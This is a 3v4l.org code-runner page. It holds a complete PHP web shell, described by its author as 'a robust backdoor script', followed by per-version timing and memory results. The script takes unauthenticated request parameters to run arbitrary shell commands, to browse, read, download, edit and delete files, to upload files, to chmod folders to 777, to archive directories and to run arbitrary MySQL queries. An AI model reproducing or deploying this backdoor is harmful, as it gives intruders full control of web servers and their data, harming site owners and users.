3v4l.org

run code in 300+ PHP versions simultaneously
<?php // A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.com/ [3-15-2011] // This code is public domain and may be used in part or in full for any legal purpose. I would still appreciate a mention though :). function isLinux($path) { return (substr($path,0,1)=="/" ? true : false); } function getSlashDir($isLinux) { return($isLinux ? '/' : '\\'); } //See if we are on Linux or Windows becuase the paths have to be processed differently $cwd=getcwd(); $isLinux=isLinux($cwd); if(!$isLinux) { $driveLetter=substr($cwd,0,1); } $slash=getSlashDir($isLinux); $parts=explode($slash,$cwd); $rootDir=($isLinux ? $slash : ($driveLetter . ':' . $slash)); function cleanPath($path,$isLinux) { $slash=getSlashDir($isLinux); $parts=explode($slash,$path); foreach($parts as $key=>$val)//Process .. directories and a single . { if($val=="..") { $parts[$key]=""; $lastKey=$key-1; $parts[$lastKey]=""; } elseif($val==".") { $parts[$key]=""; } } reset($parts); $fixedPath=($isLinux ? "/" : "");//Some PHP configs wont automatically create a variable on .= or will at least whine about it $firstPiece=true; foreach($parts as $val)//Assemble the path back together { if($val != "") { $fixedPath .= ($firstPiece ? '' : $slash) . $val; $firstPiece=false; } } if($fixedPath=="")//If we took out the entire path go to bottom level to avoid an error { $fixedPath=($isLinux ? $slash : ($driveLetter . ":" . $slash)); } //Make sure there is an ending slash if(substr($fixedPath,-1)!=$slash) $fixedPath .= $slash; return $fixedPath; } if(isset($_REQUEST['chm'])) { if(!$isLinux) { echo "This feature only works on Linux"; } else { echo (@chmod ( $_REQUEST['chm'] , 0777 ) ? "Reassigned" : "Can't Reasign"); } } elseif(isset($_REQUEST['phpinfo'])) { phpinfo(); } elseif(isset($_REQUEST['dl'])) { if(@fopen($_REQUEST['dl'] . $_REQUEST['file'],'r')==true) { $_REQUEST['dl'] .= $_REQUEST['file']; if(substr($_REQUEST['dl'],0,1)==$slash) $fileArr=explode($slash,$_REQUEST['dl']); header('Content-disposition: attachment; filename=' . $_REQUEST['file']); header('Content-type: application/octet-stream'); readfile($_REQUEST['dl']); } else { echo $_REQUEST['dl']; } } elseif(isset($_REQUEST["gz"])) { if(!$isLinux) { echo "This feature only works on Linux"; } else { $directory=$_REQUEST["gz"]; if(substr($directory,-1)=="/") $directory = substr($directory,0,-1); $dirParts=explode($slash,$directory); $fname=$dirParts[(sizeof($dirParts)-1)]; $archive = time(); exec( "cd $directory; tar czf $archive *"); $output=@file_get_contents($directory . "/" . $archive); if(!$output) header("Content-disposition: attachment; filename=ACCESS_PROBLEM"); else { header("Content-disposition: attachment; filename=$fname.tgz"); echo $output; } header('Content-type: application/octet-stream'); @unlink($directory . "/" . $archive); } } elseif(isset($_REQUEST['f'])) { $filename=$_REQUEST['f']; $file=fopen("$filename","rb"); header("Content-Type: text/plain"); fpassthru($file); } elseif(isset($_REQUEST['d'])) { $d=$_REQUEST['d']; echo "<pre>"; if ($handle = opendir("$d")) { echo "<h2>listing of "; $conString=""; if($isLinux) echo "<a href='?d=$slash'>$slash</a>"; foreach(explode($slash,cleanPath($d,$isLinux)) as $val) { $conString .= $val . $slash; echo "<a href='?d=$conString'>" . $val . "</a>" . ($val != "" ? $slash : ''); } echo " (<a target='_blank' href='?uploadForm=1&dir=" . urlencode(cleanPath($d,$isLinux)) . "'>upload file</a>) (<a href='?d=" . urlencode(cleanPath($d,$isLinux)) . "&hldb=1'>DB interaction files in red</a>)</h2> (<a target='_blank' href='?gz=" . urlencode(cleanPath($d,$isLinux)) . "'>gzip & download folder</a>) (<a target='_blank' href='?chm=" . urlencode(cleanPath($d,$isLinux)) . "'>chmod folder to 777)</a> (these rarely work)<br />"; while ($dir = readdir($handle)) { if (is_dir("$d$slash$dir")) { if($dir != "." && $dir !="..") $dirList[]=$dir; } else { if(isset($_REQUEST["hldb"])) { $contents=file_get_contents("$d$slash$dir"); if (stripos($contents, "mysql_") || stripos($contents, "mysqli_") || stripos($contents, "SELECT ")) { $fileList[]=array('dir'=>$dir,'color'=>'red'); } else { $fileList[]=array('dir'=>$dir,'color'=>'black'); } } else { $fileList[]=array('dir'=>$dir,'color'=>'black'); } } } echo "<a href='?d=$d$slash.'><font color=grey>.\n</font></a>"; echo "<a href='?d=$d$slash..'><font color=grey>..\n</font></a>"; //Some configurations throw a notice if is_array is tried with a non-existant variable if(isset($dirList)) if(is_array($dirList)) foreach($dirList as $dir) { echo "<a href='?d=$d$slash$dir'><font color=grey>$dir\n</font></a>"; } if(isset($fileList)) if(is_array($fileList)) foreach($fileList as $dir) { echo "<a href='?f=$d" . $slash . $dir['dir'] . "'><font color=" . $dir['color'] . ">" . $dir['dir'] . "</font></a>" . "|<a href='?dl=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Download</a>|" . "|<a href='?ef=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Edit</a>|" . "|<a href='?df=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Delete</a>| \n"; } } else echo "opendir() failed"; closedir($handle); } elseif(isset($_REQUEST['c'])) { if( @ini_get('safe_mode') ) { echo 'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (' . @ini_get('safe_mode_exec_dir') . ') <br />'; } echo "<b>Command: <I>" . $_REQUEST['c'] . "</I></b><br /><br />"; trim(exec($_REQUEST['c'],$return)); foreach($return as $val) { echo '<pre>' . htmlentities($val) . '</pre>'; } } elseif(isset($_REQUEST['uploadForm']) || isset($_FILES["file_name"])) { if(isset($_FILES["file_name"])) { if ($_FILES["file_name"]["error"] > 0) { echo "Error"; } else { $target_path = $_COOKIE["uploadDir"]; if(substr($target_path,-1) != "/") $target_path .= "/"; $target_path = $target_path . basename( $_FILES['file_name']['name']); if(move_uploaded_file($_FILES['file_name']['tmp_name'], $target_path)) { setcookie("uploadDir",""); echo "The file ". basename( $_FILES['file_name']['name']). " has been uploaded"; } else { echo "Error copying file, likely a permission error."; } } } else { ?> <form target="_blank" action="" method="GET"> <input type="hidden" name="cc" value="1" /> Submit this form before submitting file (will open in new window):<br /> Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"] ?>"><br /> <input type="submit" value="submit" /> </form> <br /><br /> <form enctype="multipart/form-data" action="" method="post"> Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form> <?php } } elseif(isset($_REQUEST['cc'])) { setcookie("uploadDir",$_GET["dir"]); echo "You are OK to upload the file, don't upload files to other directories before completing this upload."; } elseif(isset($_REQUEST['mquery'])) { $host=$_REQUEST['host']; $usr=$_REQUEST['usr']; $passwd=$_REQUEST['passwd']; $db=$_REQUEST['db']; $mquery=$_REQUEST['mquery']; @mysql_connect($host, $usr, $passwd) or die("Connection Error: " . mysql_error()); mysql_select_db($db); $result = mysql_query($mquery); if($result!=false) { echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />"; echo "Return Results:<br />"; $first=true; echo "<table border='1'>"; while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) { if($first) { echo "<tr>"; foreach($row as $key=>$val) { echo "<td><b>$key</b></td>"; } echo "</tr>"; reset($row); $first=false; } echo "<tr>"; foreach($row as $val) { echo "<td>$val</td>"; } echo "</tr>"; } echo "</table>"; mysql_free_result($result); } else { echo "Query Error: " . mysql_error(); } } elseif(isset($_REQUEST['df'])) { $_REQUEST['df'] .= $slash . $_REQUEST['file']; if(@unlink($_REQUEST['df'])) { echo "File deleted"; } else { echo "Error deleting file"; } } elseif(isset($_REQUEST['ef'])) { ?> <script type="text/javascript"> <!-- var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function encode64(inpStr) { inpStr = escape(inpStr); var output = ""; var chr1, chr2, chr3 = ""; var enc1, enc2, enc3, enc4 = ""; var i = 0; do { chr1 = inpStr.charCodeAt(i++); chr2 = inpStr.charCodeAt(i++); chr3 = inpStr.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + key.charAt(enc1) + key.charAt(enc2) + key.charAt(enc3) + key.charAt(enc4); chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = ""; } while (i < inpStr.length); return output; } //--></script> <?php $_REQUEST['ef'] .= $_REQUEST['file']; if(isset($_POST["newcontent"])) { $_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"])); $stream=@fopen($_REQUEST['ef'],"w"); if($stream) { fwrite($stream,$_POST["newcontent"]); echo "Write sucessful"; } else { echo "Could not write to file"; } fclose($stream); } ?> <form action="" name="f" method="POST"> <textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST['ef']) ?></textarea><br /> <input type="submit" value="I base64 encoded it myself, dont run script" /><br /> <input type="submit" value="Change (requires javascript to work)" onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" /> </form> <?php } else { ?> <b>Server Information:</b><br /> <i> Operating System: <?php echo PHP_OS ?><br /> PHP Version: <?php echo PHP_VERSION ?><br /> <a href="?phpinfo=true">View phpinfo</a> </i> <br /> <br /> <b>Directory Traversal</b><br /> <a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br /> <a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br /> <b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form> <hr>Execute MySQL Query: <form action="" METHOD="GET" > <table> <tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr> <tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr> <tr><td>password</td><td><input type="text" name="passwd"> </td></tr> <tr><td>database</td><td><input type="text" name="db"> </td></tr> <tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr> <tr><td colspan="2"><input type="submit" value="execute"></td></tr> </table> </form> <hr> <pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get('safe_mode') ? 'on' : 'off') ?>): <input type="text" name="c"><input type="submit" value="Go"></form> <?php } //Intentionally left open to avoid output the file download function 1

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.0.120.0000.00813.45
8.0.110.0120.00013.55
8.0.100.0090.00413.51
8.0.90.0130.00013.59
8.0.80.0040.00913.50
8.0.70.0100.00313.59
8.0.60.0100.00313.39
8.0.50.0130.00013.55
8.0.30.0110.00313.44
8.0.20.0100.00313.55
8.0.10.0100.00313.61
8.0.00.0000.00613.64
7.4.250.0120.00313.39
7.4.240.0140.00013.54
7.4.230.0050.01013.54
7.4.220.0070.00713.46
7.4.210.0040.00913.40
7.4.200.0100.00313.42
7.4.190.0110.00213.57
7.4.180.0090.00313.59
7.4.160.0040.00813.58
7.4.150.0120.00013.47
7.4.140.0070.00613.48
7.4.130.0130.00013.41
7.4.120.0100.00313.41
7.4.110.0040.00813.40
7.4.100.0130.00013.59
7.4.90.0090.00313.40
7.4.80.0080.00914.87
7.4.70.0100.00414.79
7.4.60.0110.00714.77
7.4.50.0090.00514.87
7.4.40.0100.00514.85
7.4.30.0100.00814.96
7.4.20.0090.00814.77
7.4.10.0090.00514.96
7.4.00.0100.00614.93
7.3.320.0140.00013.47
7.3.310.0120.00313.49
7.3.300.0140.00013.29
7.3.290.0120.00313.51
7.3.280.0100.00413.50
7.3.270.0040.00813.51
7.3.260.0080.00013.55
7.3.250.0080.00013.39
7.3.240.0060.00313.53
7.3.230.0040.00413.44
7.3.220.0040.00413.42
7.3.210.0060.00213.35
7.3.200.0100.00414.95
7.3.190.0050.00914.96
7.3.180.0080.00814.97
7.3.170.0030.01014.86
7.3.160.0060.00714.78
7.3.150.0040.01015.09
7.3.140.0000.01214.99
7.3.130.0090.00414.87
7.3.120.0030.01014.92
7.3.110.0030.01014.75
7.3.100.0090.00614.85
7.3.90.0090.00615.04
7.3.80.0070.00814.82
7.3.70.0050.00814.91
7.3.60.0100.00515.03
7.3.50.0100.00715.06
7.3.40.0120.00615.00
7.3.30.0100.00715.02
7.3.20.0050.00815.76
7.3.10.0120.00615.68
7.3.00.0110.00315.74
7.2.340.0030.00913.63
7.2.330.0100.00313.33
7.2.320.0070.01015.03
7.2.310.0150.00215.05
7.2.300.0130.00315.11
7.2.290.0060.01014.96
7.2.280.0080.00914.99
7.2.270.0130.00414.95
7.2.260.0070.01014.99
7.2.250.0120.00715.00
7.2.240.0120.00514.98
7.2.230.0100.00614.99
7.2.220.0120.00515.05
7.2.210.0120.00514.92
7.2.200.0050.01215.12
7.2.190.0120.00515.16
7.2.180.0150.00714.98
7.2.170.0110.00915.10
7.2.160.0140.00815.27
7.2.150.0090.00715.89
7.2.140.0070.00816.01
7.2.130.0060.01015.96
7.2.120.0060.00816.04
7.2.110.0050.01015.98
7.2.100.0050.01116.00
7.2.90.0120.00615.90
7.2.80.0150.00315.93
7.2.70.0080.00815.87
7.2.60.0090.00716.24
7.2.50.0100.00515.95
7.2.40.0100.00715.93
7.2.30.0110.00515.99
7.2.20.0090.00715.99
7.2.10.0120.00416.04
7.2.00.0060.01117.12
7.1.330.0170.00014.85
7.1.320.0110.01214.97
7.1.310.0080.00715.07
7.1.300.0060.01115.02
7.1.290.0180.00514.96
7.1.280.0180.00014.91
7.1.270.0120.00515.05
7.1.260.0080.00914.97
7.1.250.0070.00714.86
7.1.240.0130.00614.92
7.1.230.0090.00514.99
7.1.220.0070.00815.00
7.1.210.0170.00214.92
7.1.200.0100.00615.10
7.1.190.0080.00715.00
7.1.180.0080.00714.88
7.1.170.0080.00815.08
7.1.160.0100.00915.03
7.1.150.0090.00714.89
7.1.140.0090.00914.93
7.1.130.0140.00414.93
7.1.120.0290.00814.84
7.1.110.0100.00714.83
7.1.100.0060.00815.95
7.1.90.0170.00414.78
7.1.80.0250.00214.91
7.1.70.0090.00515.60
7.1.60.0110.00816.42
7.1.50.0150.00615.55
7.1.40.0130.00714.77
7.1.30.0130.00715.04
7.1.20.0090.00814.94
7.1.10.0110.00614.98
7.1.00.0070.02017.33
7.0.330.0090.00614.85
7.0.320.0130.00414.74
7.0.310.0100.00714.82
7.0.300.0090.00714.60
7.0.290.0140.00514.57
7.0.280.0120.00314.50
7.0.270.0120.00514.64
7.0.260.0090.00714.56
7.0.250.0130.00314.80
7.0.240.0070.00914.74
7.0.230.0180.00214.68
7.0.220.0130.00514.65
7.0.210.0090.00814.68
7.0.200.0080.00515.57
7.0.190.0120.00514.70
7.0.180.0130.00614.79
7.0.170.0100.00614.84
7.0.160.0060.00914.73
7.0.150.0080.00614.76
7.0.140.0070.03217.06
7.0.130.0100.00514.87
7.0.120.0110.00714.80
7.0.110.0120.00614.77
7.0.100.0140.00114.77
7.0.90.0110.00514.55
7.0.80.0220.02616.43
7.0.70.0080.02916.44
7.0.60.0110.02116.57
7.0.50.0210.02616.56
7.0.40.0090.02916.45
7.0.30.0100.03116.46
7.0.20.0100.03616.42
7.0.10.0130.02416.44
7.0.00.0090.01816.46
5.6.400.0100.00514.33
5.6.390.0080.00814.24
5.6.380.0070.00714.32
5.6.370.0100.00614.26
5.6.360.0100.01114.18
5.6.350.0130.00414.58
5.6.340.0080.00814.44
5.6.330.0140.00914.32
5.6.320.0170.00614.36
5.6.310.0090.00814.40
5.6.300.0080.00814.19
5.6.290.0070.01414.33
5.6.280.0110.02616.56
5.6.270.0080.01114.26
5.6.260.0120.00514.27
5.6.250.0100.01014.42
5.6.240.0100.00914.31
5.6.230.0070.02416.56
5.6.220.0150.02716.54
5.6.210.0140.02316.41
5.6.200.0090.03516.65
5.6.190.0080.02016.57
5.6.180.0070.02516.67
5.6.170.0120.03216.65
5.6.160.0090.03516.65
5.6.150.0040.02916.70
5.6.140.0080.03616.71
5.6.130.0140.03216.55
5.6.120.0140.01716.64
5.6.110.0100.02516.72
5.6.100.0110.01616.55
5.6.90.0100.03116.46
5.6.80.0070.03516.36
5.6.70.0070.03316.45
5.6.60.0120.02916.45
5.6.50.0080.02716.42
5.6.40.0090.01816.37
5.6.30.0090.02016.25
5.6.20.0070.02316.38
5.6.10.0130.02716.35
5.6.00.0100.01916.37
5.5.380.0110.00914.30
5.5.370.0110.02516.41
5.5.360.0080.02916.30
5.5.350.0090.03316.40
5.5.340.0100.01816.47
5.5.330.0100.03216.45
5.5.320.0130.03016.53
5.5.310.0080.03116.45
5.5.300.0090.02116.61
5.5.290.0090.03216.38
5.5.280.0090.03416.39
5.5.270.0080.03116.41
5.5.260.0120.03116.46
5.5.250.0120.03016.53
5.5.240.0130.02816.30
5.5.230.0090.02316.33
5.5.220.0120.02216.30
5.5.210.0100.01916.38
5.5.200.0110.01816.18
5.5.190.0080.02916.21
5.5.180.0130.02616.22
5.5.170.0100.01214.31
5.5.160.0070.02816.09
5.5.150.0070.02216.23
5.5.140.0090.02716.28
5.5.130.0080.01816.18
5.5.120.0110.01616.23
5.5.110.0130.02216.25
5.5.100.0110.02716.20
5.5.90.0100.02216.26
5.5.80.0090.02216.24
5.5.70.0120.02816.20
5.5.60.0110.02616.17
5.5.50.0090.03016.18
5.5.40.0050.02916.16
5.5.30.0140.02816.17
5.5.20.0080.02516.13
5.5.10.0100.03016.09
5.5.00.0080.02816.16
5.4.450.0110.02114.83
5.4.440.0090.03414.85
5.4.430.0080.02914.94
5.4.420.0120.02814.96
5.4.410.0140.02414.86
5.4.400.0100.01614.78
5.4.390.0110.02214.72
5.4.380.0080.03214.72
5.4.370.0160.03014.88
5.4.360.0050.02914.71
5.4.350.0110.01514.72
5.4.340.0110.02214.72
5.4.330.0070.01212.73
5.4.320.0050.02614.84
5.4.310.0080.01514.84
5.4.300.0070.01814.86
5.4.290.0090.02114.74
5.4.280.0070.01814.63
5.4.270.0110.02914.87
5.4.260.0070.02414.67
5.4.250.0100.02514.65
5.4.240.0120.01414.83
5.4.230.0050.03314.79
5.4.220.0050.03314.62
5.4.210.0110.02214.68
5.4.200.0090.02714.79
5.4.190.0080.02914.66
5.4.180.0090.01614.69
5.4.170.0080.01614.72
5.4.160.0050.01914.67
5.4.150.0110.02614.90
5.4.140.0050.03114.01
5.4.130.0070.01813.99
5.4.120.0060.02513.88
5.4.110.0100.01913.91
5.4.100.0110.02314.02
5.4.90.0080.01813.99
5.4.80.0100.02813.97
5.4.70.0080.02914.03
5.4.60.0050.02913.99
5.4.50.0090.02813.95
5.4.40.0070.02813.96
5.4.30.0060.03014.03
5.4.20.0080.02614.06
5.4.10.0090.02913.96
5.4.00.0070.02713.69
5.3.290.0060.02113.79
5.3.280.0090.02713.57
5.3.270.0100.01913.75
5.3.260.0060.01913.70
5.3.250.0070.03013.67
5.3.240.0040.03213.60
5.3.230.0040.02013.65
5.3.220.0020.02713.51
5.3.210.0050.03113.56
5.3.200.0090.02613.52
5.3.190.0060.03413.67
5.3.180.0090.02613.79
5.3.170.0100.01913.58
5.3.160.0070.02413.67
5.3.150.0150.02813.77
5.3.140.0040.02613.59
5.3.130.0070.02313.60
5.3.120.0080.02413.68
5.3.110.0060.03513.65
5.3.100.0040.03113.50
5.3.90.0080.01813.54
5.3.80.0050.01813.47
5.3.70.0060.03213.35
5.3.60.0080.02713.52
5.3.50.0070.02413.32
5.3.40.0050.02313.44
5.3.30.0090.02413.58
5.3.20.0030.01813.45
5.3.10.0050.01713.18
5.3.00.0080.01513.33

preferences:
31.46 ms | 400 KiB | 5 Q